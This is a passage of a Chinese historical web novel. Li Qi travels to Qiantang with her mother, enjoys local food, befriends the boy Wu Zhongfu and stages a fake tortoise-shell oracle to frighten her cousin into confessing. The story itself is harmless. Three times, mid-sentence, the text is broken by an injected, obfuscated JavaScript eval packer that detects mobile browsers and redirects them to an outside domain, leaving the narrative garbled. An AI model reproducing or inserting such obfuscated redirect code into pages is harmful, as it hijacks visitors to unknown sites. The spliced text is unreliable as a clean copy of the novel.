待第二天早晨,顾夫人带着冬青来找女儿时,一眼看见门面大开的钿螺衣箱,还有床边堆成小山的衣服,不禁失笑 “明儿准备带哪些衣裳?” 李祺指了指旁边的一叠,“选了这些出来,娘亲再帮我看看合不合适?” 夫人挨个看了一遍,“明儿选的衣服都很好呢!可是出远门做客只带这些肯定是不够的,而且早春天气多变,斗篷得带上,春衫也得带上几件。” 李祺目瞪口呆地看着母亲指挥丫鬟们拿出各色衣裙,时不时朝她身上比划,嘴里念念有词,还有那一件一件首饰,金的、玉的、嵌宝石的,什么都有,女孩看得两眼放光,近日阴霾一扫而空,心里快乐极了。 出发当天李祺起了个大早,由着麦冬给她梳妆。铜镜里的少女梳着当下流行的三小髻,每髻缠着七色丝绦,各缀珍珠三颗,又在额间贴了一个形如新月的翠钿,衬得少女眉眼弯弯,看起来讨喜极了。 穿上滚着毛边的藕荷色提花缎面交领夹袄,下着浅粉桃花马面,脖子上又带了个金八宝纹项圈,显得整个人明媚红润。 女孩捧着小脸左看右看,兴奋地在铜镜前转圈。石榴子似的红玛瑙扣闪着耀眼的光,裙上满绣的桃瓣旋起来顿时化作流霞,李祺只觉得自己简直是天底下最漂亮的女孩! 5. 蟹黄汤包 外头晨雾还未散去,沿河长街就已经热闹起来。临水茶楼的窗户被吱呀推开,飘出碧螺春的清香。 石板桥下,乌篷船停在岸边卸着时鲜,油布伞支在长街边上,伞下蒸笼腾起淡淡白烟,蟹黄汤包颤巍巍的兜着金汤,令人食指大开。 李祺掀开马车的帘子盯着汤包咽了咽口水,顾夫人瞧见女儿的馋样,与麦冬耳语几句,马车缓缓停在路边,不一会就端上一笼热腾腾的汤包。 “快吃吧,刚刚见你眼睛都要黏人家包子上了。” 李祺小心翼翼地夹起一个薄皮汤包,拿小碟子接着,只轻轻咬了一个小孔,金黄的汤汁便争先恐后的流了出来。 蘸上特制的香醋,女孩一脸餍足的眯起了双眼,笃定自己上辈子肯定是一只蟹黄汤包。 马车继续向前行驶,街边绸缎庄的娘子倚着雕花门窗,里面堆叠的各色衣料泛着美丽的光泽。 旁边当铺的黑漆柜台后面,掌柜低头用戴着玉扳指的手指拨着算盘。街上传来各种吆喝声,梅花糕在铁模里滋滋作响,香味飘到鼻尖…… 李祺舔了舔嘴唇,唰的拉上帘子,出门前本就用过早点,刚刚又吃了整整一笼汤包,实在是不能再吃了,不然中午就吃不下了,娘亲说了要带她吃一家非常好吃的店,得留点肚子。 许是早上起得太早,铺着皮褥的马车摇摇晃晃,女孩低头打起了瞌睡。 再醒来时已到晌午,马车停在一家酒楼门前,李祺扶着麦冬的手下了车,仰头看见酒旗在暖风里招摇,红木雕花的牌匾上写着几个苍劲有力的大字——松鹤楼。 顾夫人要了二楼的雅座,李祺举着菜单不知该如何选择,最后决定交给回头客顾夫人——这样不容易踩雷。 妇人娴熟的报了一堆菜名,女孩好奇地问道:“娘亲这些都吃过?” “没有啊,八九年前,我跟着你爹去外地上任时吃过这家,后面就再没来过了。” “那您怎的一下点那么多?万一不好吃怎么办?” “没事,他家很有名的,而且走前你爹给我写了单子。难得来一次就想让明儿多尝尝,放开了吃,咱们有的是银子!” 看着娘亲豪气的样子,李祺心里默默流泪,呜呜呜娘亲真好,有钱真好。 松鹤楼是一栋三层的独栋酒楼,无论是一楼的大堂,还是二楼的雅座,全都坐得满满当当。几个店小二穿梭在宾客间,上菜沏茶收拾,各种吆喝声不绝,忙得脚不沾地。 兴许是店里生意太好,也可能是菜色比较复杂,等候的茶壶都添了三次水了,桌上依旧一道菜没有,李祺摸了摸瘪瘪的肚子,无聊的夹着花生米,安慰自己,这么慢,说明肯定不是预制菜,肯定是明火现做,行行行值了值了。 等到花生米都要见底,店小二终于端上了第一道菜——点心琳琅。 松木蒸笼叠得高过人头,一笼笼摆开,有透明粉嫩的水晶虾饺、油锅翻腾炸出的“蓑衣萝卜饼、打着十八道褶子的蟹黄汤包、汤汁浓郁的金钱肚…… 好家伙,这不是广东早茶吗?没想到来这也能吃到,明夷大喜,迫不及待地给自己夹了个虾饺,真是好乖的虾饺、好大的虾,好吃! 第一道菜开了个头,后面的菜便接二连三的来了,架着红泥小炭炉的“三虾面”热气腾腾,店家说这可是太湖籽虾现剥的虾仁、虾籽、虾脑做得浇头,独此一家。还有与火腿片一起用文火熬制的“清炖文武鸭,用黑漆食盒盛着的“樱桃肉”(其实就是红烧肉)。 白瓷盅里的“莼菜银鱼羹”飘着两瓣嫩黄鸭油,“腌笃鲜”的咸香混着春笋的清气钻入鼻尖。 店家的招牌“蟹酿橙”一端上来,就引起李祺的惊叹——金橙做碗,掀开盖,蟹肉混着橙汁蒸腾出酸甜雾气,像是把秋色江南封进了果壳。 一顿饭吃的李祺眼花缭乱,肚皮溜圆,还没离开就眼巴巴的望着母亲,“咱们下次还能来吗?” 顾夫人给女儿舀了一勺银鱼羹,笑着回答:“明儿喜欢的话当然可以,咱们下次带着爹爹一起来。” 吃饱喝足,李祺捧着肚子央求母亲先在街上逛逛再上马车,不然她可能会吐在车上。顾夫人紧紧牵着女儿的手,冬青和麦冬跟在两侧,沿着河边散起步来。 过午的街市喧如蜂巢,头戴瓜皮帽的牙郎攥着尺子匆匆走过,穿着香云纱的闽商操着官话跟人比划着什么。 竹帘半卷的茶寮里,茶博士拎着长嘴铜壶穿梭,沸水凌空划出一道银弧,稳稳注入了青花盖碗。穿着油绸裤的小孩挤在糖画摊前,转交处的西牌楼传来几声喝彩…… 李祺慢悠悠得走在青石板路上,眯起眼睛看见太阳爬上飞起的屋檐,耳边传来运河哗哗的水流声,街上行人各有目的,商贩走夫各有事忙,其实千百年前的大街和现在的并无不同,都是烟火,都是生活。 酉时一刻,叶府。 一辆轿厢式的紫檀马车停在府邸角门,穿着杏色袄子的丫鬟走下来像门房出示了拜帖。等候已久的徐淑仪得到小厮通知,提着裙子急匆匆地赶到门口。 只见车上先是下来一位穿着粉蓝妆花立领长衫的年轻妇人,梳着三绺头,鬓间斜插一支嵌宝石金花簪,修目翠眉,宛然天质。 后边的女孩看着十岁出头,小脸圆润,额头饱满,一双大大的杏眼微微发红,许是刚刚睡醒。 得见友人,两位妇人快步走向对方,紧握双手,俱是难掩激动。李祺暂时被晾到一边,和淑姨旁边站着的一个小男孩大眼瞪小眼。 顾夫人注意到边上面无表情的小小少年,好奇地问道:“淑仪,这孩子是你之前提到的吴家的那个?” “你怎知不是我的孩儿?” 顾静翕闻言顿了顿,又很快反应过来 “嗯…这孩子长得那么俊俏,和你一点都不像——”见友人佯装发怒的样子,又眨眨眼睛连忙改口 “当然是年龄对不上,这孩子看着就八九岁的样子,你的孩儿都比明儿大了。” “这么久不见,还是一如既往地爱贫,仔细别让孩子学了去。”徐淑仪瞪了友人一眼,又接着说道 “是吴家那孩子,刚满八岁,中孚,快向你静姨和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286955|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明姐姐问好。” 小男孩一板一眼地和李祺她们打了招呼,李祺嘿嘿地回了一声,倒是顾夫人对这孩子很感兴趣的样子,俯下身来捏了捏男孩的脸,感叹“真是个漂亮孩子!” 小孩白嫩的脸庞出现一抹绯红,李祺无奈的看着目光有些躲闪的男孩,默默吐槽,敢情娘亲也是个颜控。 穿过曲曲折折的抄手游廊,徐淑仪牵着顾静翕絮絮叨叨的拉家常,李祺和吴家的男孩跟在后头,好奇地问这问那。 小孩一本正经的回答着李祺诸如荷花池里有几条锦鲤,假山堆了几块石头之类的无聊问题,晚风将绢纱灯笼吹得摇摇晃晃,女孩耳边的丝绦也随着明灭的火焰飞舞,男孩一时看呆了去。 “欸,我刚刚说的你听到没?”女孩额间新月状的花钿皱成一条细线,男孩愣了愣神,懊恼地说道 “对不起啊明姐姐,你能再说一遍吗?” 天!李祺内心土拨鼠尖叫,他叫我姐姐欸!这么漂亮的小孩软软地喊我明姐姐,呜呜呜心都要化了。 女孩扬起大大的笑脸,殷红的唇瓣快速张合,“没什么没什么,你叫中孚是吧,姐姐可以叫你阿孚吗?你有什么喜欢吃的?平日爱玩些什么?我到这里你不要拘束,就当是……” “啊……?”女孩突如其来的一串问题给小孩听的一愣,他抿了抿嘴唇,刚准备回答—— “到了到了,菜早就让厨房备好了,赶紧坐下吃,行李我已经吩咐给丫鬟让她们放在备好的房间里了。” 徐夫人指挥着大家入座,男孩看见旁边对着琳琅满目的菜色两眼放光的女孩,犹豫着咽下了自己的回答。 晚上,李祺坐在榻边看冬青给母亲梳头,闲散的聊着今天的旅程。 “娘亲,淑姨带着的小孩是谁家的啊?为什么要住在叶府呢?” 顾夫人看着铜镜里女儿摇摇晃晃的双腿,慢悠悠地说道:“是歙县吴家的孩子,吴家和叶家是世交,中孚六岁时生了一场大病,江南这带有一种护身方法,就是将病弱的孩子托付给别家,所以中孚就送来了你淑姨身边。” 李祺点点头:“原来是这样啊。” 顾夫人又接着说道:“这孩子初到叶府时你淑姨就和我说了,一直夸他长得好,性子也沉稳,今天一看,真是一点都不夸张。明儿也很喜欢这个漂亮的弟弟吧,我看你在路上跟人聊的嘴都没停过。” 女孩不好意思的吐了吐舌头:“娘亲都听见了呀,我瞧这小孩虽然漂亮但是老板着一张脸,就忍不住逗逗。” 顾夫人卸下来钗环,转头看向女儿:“你自己都是个孩子还叫人家小孩。” 想了想又继续说道:“娘亲也喜欢这孩子,咱们也要在这住上一段时间,待把元哥儿的事解决了,你且好好和人家相处。我可是听你淑姨说了,别看中孚年纪小,诗画文章都作的非常漂亮!” 听了母亲的话,李祺刚咧开的嘴角又收了回去,天下父母一个样,想我堂堂双一流研究生(未拿到学位版),竟然沦落到和一个小屁孩比成绩,真是世风日下,人心不古啊。 6. 龟甲的妙用 第二天早膳时,徐夫人主动提了这事,朝后扬了扬染着凤仙花汁的指尖,捧着乌木拜匣的丫鬟立刻从描金屏风后转出来,递给了顾夫人 “拜匣?” 徐夫人用茶盖慢条斯理地撇着沫子:“你且打开看看。” 顾夫人推开这乌木盒子上的搭扣,里面俨然一张拜帖,落款正是大伯母陈氏的娘家,时间在三日后的未时。 将拜匣交回给身边的丫鬟,顾夫人笑着说:“你怎有如此神通,这么快就搞定了?他家会带着元哥儿来吧?” “你大嫂的哥哥前日恰巧递了封折子上去…”徐淑仪突然压低嗓子,染着蔻丹的指甲在桌布上划出个“盐”字,“正卡在我家老爷手里。” 窗外的鸟鸣突然有些刺耳起来,徐淑仪话音一转又恢复清亮,“陈家太太听说我收着套前朝注疏的《龙文鞭影》,昨儿就遣婆子来问何时得空。” “你怎知她就会带上元哥儿?”顾静翕捏着帕子的手顿了顿 “街坊都知道陈家来了人”徐淑仪伸手替友人抿了抿鬓角,“若他家马车只载着三位女眷出门…”她忽然捏着嗓子学起市井妇人的腔调,“哎呦,这陈家的大夫人真……” 顾静翕恍然大悟,“淑仪从哪得到那么多消息,就我大嫂那些事,连我也不晓得。” 徐淑仪轻嗤“多加留心自然就知道了。要我说,静翕你以前的机灵劲去哪了,这么简单也想不明白,难怪在家斗不过你那两个妯娌。” “以一敌二,斗不过正常,你知道的我从小最烦这些事,家中姊妹吵架一向躲得远远的。”想起家中的事情,顾夫人垂下眼帘,瓷勺在杏仁茶里搅出小小漩涡。 徐淑仪也知道友人的性子,面对熟人能张牙舞爪的打趣,在外头又最怕麻烦,不喜与人争吵。本就是水一样的人儿也不能强求什么,要怪就怪嫁了个不能护不好她的丈夫,让她好端端的不得不面对后宅那一堆破事。 早饭后,徐夫人带着顾夫人去房间里描花样,吩咐丫鬟带着两个小孩去园子逛逛。 李祺拿着淑姨刚塞给她的鲁班锁,倚着太湖石揉眼睛,一脸百无聊赖。 昨晚没睡好,今早又起得早,现在一点精神没有,旁边的男孩看见女孩恹恹的神情,皱着眉头想了一会,犹豫的问道:“你想荡秋千吗?” 李祺惊讶地挑挑眉,这小孩是在……哄她?没想到自己一把年纪了还会被八岁的小孩哄。不管怎样,看见男孩漂亮的小脸上微微不安的表情,只觉得心里一暖,大声说道 “好啊!我最喜欢荡秋千了,你快带我去吧!”言罢,直接抓起男孩的手,示意他赶紧走。 女孩的手软软的,男孩耳尖微微泛红,牵着李祺左拐右拐来到一处百年老槐旁。 一架缠满紫藤花的秋千正悬在槐树的虬枝下,李祺双手抓紧青绸缠绳,踩着木质的踏板,身体往前倾了倾,缓缓荡了起来。 开先只是小幅度的摇晃,后面稍稍使了点劲随着惯性越荡越高,罗裙上袖的银蝶被日光一晃,倏地活过来似的。 丫鬟“当心”的惊呼被抛诸脑后,秋千荡过粉墙,墙头探出的几枝海棠被惊地簌簌落花,茜红的花瓣跌进发髻,像是戴了顶鲜活花冠。 秋千荡至最高处,能瞧见邻院的飞虹廊桥,风声从耳边拂过,李祺突然心里闷得慌。 眼下春日已至,四处的花渐次开放,妈妈最喜欢花,虽然因为上学不在父母身边,但妈妈总是格外关注李祺学校那边又开了什么花,然后催促她去给她拍照。 二月的梅花,三月的玉兰和樱花,李祺的相册里堆满了发给妈妈的照片。如今又是春天,这里的花开的非常漂亮,可却没法拍给妈妈看了…… 踩着石阶从秋千下来,女孩跌坐时震落的紫藤花瓣正巧覆在男孩的鞋履上。吴中孚盯着地上洇开的水痕不知所措——方才那般快活的小姑娘,怎么此刻突然蜷在花影里哭得悄无声息? 李祺接过丫鬟递过来的手帕,对着神色不安的男孩安慰道:“我没事,只是刚刚荡太高了风有点大。” 女孩虽然嘴上说着是风迷了眼睛,但男孩看着她垂下的脑袋,莫名觉得她现在就是很难过。是因为什么呢?他想不明白,但他不想见她这样。 八岁的小孩平日并没有玩伴,好不容易遇着一个,现下不开心了,他却不知道该如何安慰。男孩心里有些着急,手指狠揪着衣袍,绞尽脑汁地想了一会,冒出了句 “那个……你平常喜欢吃什么?玩什么?要玩那个鲁班锁吗,我……可以教你。” “噗嗤!”女孩破涕为笑,“哈哈哈…这不是我昨天问你的吗,阿孚你也太呆了吧哈哈……” 望着她腮边将坠未坠的泪珠,男孩忽然发现她左颊有个极浅的梨涡,悄悄松了口气,一本正经的回答道:“我没有非常喜欢吃的东西,平日比较喜欢看书。” 李祺听了笑得更开心了,这孩子怎么跟个呆头鹅似的。 好不容易止住笑容,女孩也学着男孩刚刚的回答:“我喜欢吃的东西太多了,根本说不完,平日的话——”女孩狡黠的眨了眨眼,“本人比较喜欢睡觉!” 李祺的答案对于素日只是绕着书房打转的的吴中孚来说太过无厘头,面部肌肉抽搐,一下子不知该做如何反应。见女孩笑得开心,又不自觉地跟着其一起大笑起来,两个孩子一站一坐,在瀑布般的紫藤花下笑得气喘吁吁。 李祺站起来扯了一下男孩的袖子,“你带我来荡秋千,自己却还没荡,快上去,我推你!” 男孩扭捏地想拒绝,奈何李祺热情的要命整得他根本无从躲避,抬眼一对上面前那双还沾着泪水的眸子,神差鬼使地就站了上去,待反应过来,他已经荡到海棠花尖了。 这边徐夫人她们描完了花样,使人来找两个孩子吃茶。李祺指着男孩满头的花瓣哈哈大笑,后者抿着嘴巴不吭声,只是垫脚从女孩头上摘下一片茜红的花瓣,女孩调皮地做了个鬼脸,摇头将花瓣抖了下来,一把牵过男孩的手,跟着丫鬟去找母亲她们。 屋内,缭绕的轻烟从层峦镂空造型的铜制博山炉中缓缓飘散,两个孩子各执一碗茯苓牛乳霜低头吃着,听着大人絮絮叨叨的聊天,偶尔答上两句。 “明儿可有想到如何与那位元哥儿谈?”徐夫人忽然问道 李祺内心苦笑,这两天脑袋都想破了还是什么也没想到,放下调羹叹了口气,“不瞒淑姨说,还是一点头绪都没有。” 徐夫人皱了皱眉:“我刚刚还在和你母亲说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286956|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事,陈家并不知道我与静翕的关系,介时陈家来访,你们母女俩最好不要出现,所以要是想让那位元哥儿说出实情,恐怕不好当面问,免得弄巧成拙。” 顾夫人也有些忧虑:“我大嫂这个小儿子性格最是胆小,若是直接逼问,恐怕结局更坏,得使点巧劲才行……” 讲到这,大家都没心思再吃碗里的茯苓霜,俱是低头沉思起来。 烛芯"噼啪"爆出灯花,中孚忽然开口说道 “我曾在一本书上看到,理靖三年,竹县两童落水案里,一方宗族通过''夜现七星灯,晨得赦罪书''的方法,利用鬼神的力量迫使另一方撤诉。我觉得利用鬼神裁判这一方法具有可行性,或许我们可以效仿?” 李祺盯着边上轻烟袅袅的香炉忽然眼睛一亮,“我想到一法子,想问淑姨府上可有龟甲?” 徐夫人点点头,“你是打算?” “就像刚刚阿孚说的,我们可以利用鬼神来逼元亨哥说出实情,而且娘亲也说了他胆子小,想必这法子是合适的。” “那你要龟甲作甚?”顾夫人疑惑地看向女儿 “我们可以先用醋在龟甲背面写上想要的神谕,醋干后字迹会隐去,然后我们再将龟甲埋入香炉灰里,等元亨哥来了再想办法让他挖出,这时,龟甲上的字迹就会因为香灰的作用而显现出来。” 看着女儿因为兴奋而显得红扑扑的脸庞,顾夫人还是有些不解:“明儿是从哪里知道的这个方法?真的可行吗,香灰会使字迹显现?” 李祺点点头,“我也是从书上看到的,应该是可行的,眼下也没有别的办法,先试试这个吧。” 看着母亲和徐夫人依旧怀疑的表情,李祺悄悄吐了吐舌头,自然是可行的,至于是从哪里知道的,方法来自某某宅斗小说,原理来自初中化学,怎么不算是从书中看来的呢? “那你打算具体怎么操作?”方才沉默了好一会的吴中孚转头看向李祺。 女孩眼帘轻垂,声音有点吞吐,“…还在想……稍等让我想想。” 彼时,一个丫鬟走了进来朝徐夫人耳语几句,徐夫人歉意的看了看屋子里的人,起身朝外走去,刚走到门口又顿了顿 “静翕你等会有事吗?” 顾夫人摇了摇头,“我在你这能有什么事。” “那你和我一块吧。外面现在在吹风,明儿和孚哥儿就在屋里玩,我让人拿些书来。” “淑姨可否让人拿几块龟甲和醋过来吗?” 徐夫人轻轻“啊”了一下,“瞧我这记性,这就让人给我们明丫头拿过来。” 大人走后,李祺让丫鬟们也退了下去,对着烛火细细研究刚拿来的龟甲,又瞟了一眼旁边正低头翻书的中孚小朋友,忽然有了一计。 女孩将龟甲放在一旁,手肘撑着桌子,笑眯眯的问道:“阿孚,陈家来的那天你可有事?” 男孩摇了摇头,“姐姐想到法子了?” 李祺得意地点点头,“当然!不过需要你的帮助。” 窗棂忽然哐当震响,一树玉兰被风撕扯着扑在窗纸上,李祺顺手摘下飘进窗的残瓣,放到男孩手心 左手按住桌上乱翻的书页,女孩低声道:“到时,你先把他带进…… 7. 酥油鲍螺 三日后,已至仲春,虽还是有风,天气却暖和不少,湖边绿柳如烟,各色春花也次第开放,整个钱塘俱是一片锦绣花城。 离未时还有一刻钟,陈府的两辆马车就已经停在叶府门口。 十二岁的王元亨恹恹地站在舅妈旁边,看着朱漆大门上闪闪发光的鎏金门钉悄悄瘪了瘪嘴。他本是不想来的,尤其是临出门前舅舅家的小表弟突然闹肚子,现下除了个十四岁的表姐陈如萱,就他一个小孩。 早听说叶家有个小小年纪就饱读诗书的小学究,等会免不了又要被比较一番,尤其是再让母亲知道——男孩狠狠叹了口气。陈夫人闻声有余光扫了一眼边上有些白胖的男孩,不着痕迹地皱了皱眉。 暖阁内三面槛窗紧闭,银丝碳煨着的砂铫滋滋作响,穿着沉香色遍地金袄裙的徐夫人轻执紫砂壶倾注茶汤,在雾气氤氲中笑道:“这松萝茶配上前日得的虎丘泉水,尝起来倒比旧年雨水更显甘冽。” 对坐的陈夫人颔首:“妹妹府上的茶我尝着是极好的,前几日恰好有人给我家老爷送了几罐顾渚紫笋,妹妹要是不嫌弃,我改日让人送些到府上。” 徐夫人含笑:“这顾渚紫笋可被茶圣陆羽论为‘茶中第一’,姐姐有这等好东西那妹妹我可就不客气了。” 陈夫人捏着帕子掩在唇边:“瞧妹妹这话说的,再好的东西也得遇上懂它的人才能有大用,妹妹如此懂茶之人,想是最明白这之中的道理了。” 谈话间,丫鬟端上一个四寸见方的剔红漆盒,次第打开,每格都摆着各色点心。 徐夫人拈了一块松仁鹅油卷放在陈如萱面前的碟子里,笑着说道:“我记得上次来萱儿最喜欢这个,前些日子厨房又改了下方子,味道较以往更甚,萱儿快尝尝好不好。” 穿着杏子红缕金竖领衫的少女姿态盈盈,大方的道了谢,拈起小勺子斯斯文文的尝了一小块,赞叹道:“果真是比之前味道更好了,徐姨府上的点心总是那么好吃,每来一次我都要想好久,我家的厨子都做不出这种味道来。” 徐夫人又往壶里添了些泉水,慈爱地看向少女:“萱儿说话总是那么中听,喜欢就常来,徐姨自己没有闺女,看见人家家的羡慕得要命,等会我让丫鬟再给你打包一些点心给你带走。” 说着又顿了顿,目光转向正埋头吃着藕粉桂花糕的王元亨:“想必这就是元哥儿了吧?” 陈夫人含笑称是,稍稍打量了一下坐在对面戴着软角唐巾的男孩,“旁边这位是你们的孚哥儿吧?真是从未见过如此俊俏的孩子,听说书也读得很好?” 徐夫人伸手给两个小孩各拈了一块玫瑰酥,“姐姐谬赞,也就将将过得去,你们元哥儿也一看就是个有福的,对了,你前些日子提的那套《龙文鞭影》正在书房放着呢,我让孚哥儿带着元哥儿去取吧,刚好让孩子们自己转转,拘在这听净咱们讲话,他们也无聊的紧。” 陈夫人眼底略过一丝了然,摸了摸元亨的头:“还是妹妹想得周道,元亨快和弟弟去吧。” 吴中孚带着王元亨来到书房,将那套《龙文鞭影》翻出递给了他,并叮嘱道:“元亨哥千万小心些,这套书时间有些久了,又保存不当,一些纸张装帧得不太稳。” 王元亨点头答应道,转眼便看见八岁的中孚弟弟已经拿了本书低头翻着了,悄悄翻了个白眼,但到底是在别人家,也找了个椅子坐下翻起手中的书来。 果然如中孚所说,这本书还没翻两下就掉出一页来。王元亨弯腰捡起那页纸,想着翻哪读哪,便细细看了起来。 只见上面讲的是一个孩童落水的故事,宗族内部,一户人家指责另一户蓄意谋害,另一户百般辩解无用,最后被判了罚,赔偿了一笔钱财。可没过多久,奇怪的事情就发生了,宣扬被害的那家小孩本来都已经好了,不知怎地忽然又发起了高烧,好不容易烧退了,又昏迷不醒,一个劲得往外冒汗,浑身冰凉得像是掉进水中一般。 那家的父母四处求医拜佛俱是无果,绝望之际忽然碰上一个云游的道士,那道士扒开看了看那孩子的眼睛和口鼻,捏着手指算了两掛,说是他们冤枉了人触犯了水中的仙人,那对夫妇听了抖如筛糠,这才真相大白,原来是那家父母垂涎另一家的田产,借小孩玩闹落水之际给人扣上一顶谋害的帽子以得赔偿,结果却是害人终害己。 文章末尾写着这样两行话:为善不见其益,如草里冬瓜自应暗长;为恶不见其损,如庭前春雪,当必潜消。 看完这个故事,王元亨浑身发凉,只觉得这薰着暖香的书房也如冰窟一般,烫手似的将书丢在一边,越坐越觉得这屋子阴气森森,只得央求旁边的吴中孚带他出去走走。 吴中孚看着这位哥哥苍白的面色,便带他去后花园散步,走到锦鲤池旁,男孩突然哀叹道:“这池子里原先有好几只大乌龟,我平日书读累了就喜欢过来看,可惜自入冬后就不见踪影。” 王元亨心不在焉的点了点头,并不回复旁边小男孩的喋喋不休,只是满腹心事的绕着湖边转圈,忽然不知踢到什么,整个人摔趴在地上,惨叫道 “啊——是哪个不长眼的东西绊的我!” “元亨哥你没事吧!”中孚赶忙跑过来,中途突然停下,仔细看了几眼,大叫道:“元亨哥快看!这是什么东西?好像刚刚就是它把你绊倒的。” 王元亨摸了摸摔疼的膝盖,爬起来一瘸一拐地到吴中孚旁边,蹲下瞧他挖出来的事物——竟是一件巴掌大的龟甲。 许是池边土地潮湿,这龟甲看起来也湿漉漉的,中孚仔细撇了撇上面的泥土,新奇的叫道:“元亨哥快看,这上面有字!好像是水官…解…厄,两……无咎…元亨哥看得清这中间是什么字吗?” 听到前面的“水官解厄”时王元亨就已经开始颤抖,他克制着自己仔细朝中孚手中的龟甲看了一眼,“…是…‘童’字……” “哦哦哦,那就是水官解厄,两童无咎,好奇怪的句子啊,像是什么神谕,为什么会出现在这里?是有人做了坏事——元亨哥你怎么了!怎抖得如此厉害?” 王元亨只觉得自己像是又坠入那日冰冷的湖中,旁边的锦鲤池的水好像也漫了上来将他淹没,小孩清脆的童音在他耳边回荡,刚刚看见的故事在脑子里盘旋,整个人像是被掩住了口鼻,完全不能呼吸…… 再回过神,吴中孚已经把大人都叫了过来,循着陈夫人和徐夫人关切的目光,男孩圆圆的脸庞勉强撑起一个笑容 “我没事,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286957|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是刚刚摔了一跤,摔的有点疼,现在脑袋有点晕,可能需要休息一下……” 徐夫人看见男孩像是失了魂魄的模样,悄悄瞥了一眼中孚,眼里划过一丝了然,上前拢住王元亨的手担心地说道:“我让大夫过来给你看看,仔细别留下什么疤,让孚哥儿带你去他房间休息一下吧。” 陈夫人看了看外甥一脸呆滞的样子,暗自皱了皱眉,转向徐夫人说道:“那就麻烦妹妹去请大夫了,我看现在时间也不早了,大夫看完我们也该回去了,今日真是叨扰妹妹了。” 徐夫人连忙道:“姐姐这是哪里的话,元哥儿在我府上摔倒本就是我的责任,何来麻烦一说?我这晚膳已经让人在备了,留下来吃了再走吧。” 陈夫人摇了摇头:“不是我不想留,实在是家中幼子今天出门前闹了肚子,我这心里实在放不下,还是先回去看看。” 徐夫人一脸惋惜:“既是这样,那我也不强留了,我府上有一味药治小儿腹泻效果很好,等会我让人拿给姐姐。” 徐夫人颔首:“那便谢谢妹妹了。” 此时,一位丫鬟走了过来,向着众人微微欠了欠身,低头说道:“夫人,大夫来了。” 徐夫人赶忙指挥两个丫鬟将王元亨扶好,说道:“那咱们赶紧去屋里吧。” 嘈杂的脚步声回荡在回曲的抄手游廊上,西厢房内,顾夫人手执一卷《鹂吹集》卧在湘妃榻上,眼神却是游离在外。李祺坐在绣墩上,兀自吃着小几上的茶点 “娘亲,要不要尝尝这个酥油鲍螺?入口即化,细腻得很。” 顾夫人看着女儿唇边沾上的食渣,苦笑着扶额:“明儿怎么还有心思在这吃东西,就不担心这事成没成?” 李祺闻言叹了口气,端起旁边的姜蜜水一口喝下大半,润润自己点心吃噎到的喉咙,“如何能不担心啊,我这担心的都吃了三盘点心了,水也喝了半壶,待会晚饭定是吃不下了。” 顾夫人这才发现案上的食盒已经空了三格,一下子被哽的有些哭笑不得,她这女儿真是…… 穿着天青色木兰纹长衫的妇人将书卷放在一边从榻上支起了身,涂着蔻丹的手指嗔怪般的点了下闺女的额头,无奈道:“怎么跟个老鼠似的,点心一下就叽叽喳喳的吃了三盘,倒是一点看不出你担心的模样。” 李祺不服,叉着自己圆滚滚的小腰义正言辞道:“就是因为担心才吃那么多,女儿这叫分散注意力,缓解焦虑!” 顾夫人嗤笑:“瞧你这牙尖嘴利的模样,要是你淑姨见了又要说我们娘俩是一个模子刻出来的了。” 女孩骄傲地扬了扬头,髻边的蜻蜓串步摇发出清脆的响声,“我是娘亲生的,又不是石头里蹦出来的,不和娘亲一样还了得!” 房间里霎时响起母女俩银铃似的笑声,将门外丫鬟叩门的声音遮掩了两次方才听清。穿着浅杏小袄的丫鬟福了福身,对着屋内笑的面色晕红的两人说道:“我们家夫人请顾夫人和小姐收拾好后去前院用晚膳。” 顾夫人抬手扶了扶鬓间歪斜的珊瑚点翠嵌珠花簪,嗓音清润:“陈夫人一行人可是离开了?” 丫鬟点头称是,母女俩互相看了一眼,便稍整理仪容,由丫鬟领路去到了前院。 8. 玉竹鹧鸪汤 酉时三刻,暮色将叶府的青砖黛瓦洇成烟青,穿堂风掠过庭前玉兰树,枝叶在影壁上投下婆娑碎影。 李祺和顾夫人转过回廊,膳厅内,十二折紫檀屏风次第展开,屏芯嵌的螺钿山水在烛光里泛着幽蓝光泽,映得端坐其后的徐夫人愈发雍容。 酸枝木圆桌上整齐摆放着哥窑冰裂纹盘盏,银匙玉箸在烛火下泛着温润光泽。见人已至,徐夫人箸尖轻扣面前的青花瓷盏,檐下侍立的四个丫鬟便捧着填漆食盒鱼贯而入。 “静翕快尝尝这道玉竹鹧鸪汤,专门叮嘱厨房文火煨了三个时辰,最是温补,你这几日脾胃弱,一定要多吃些。” 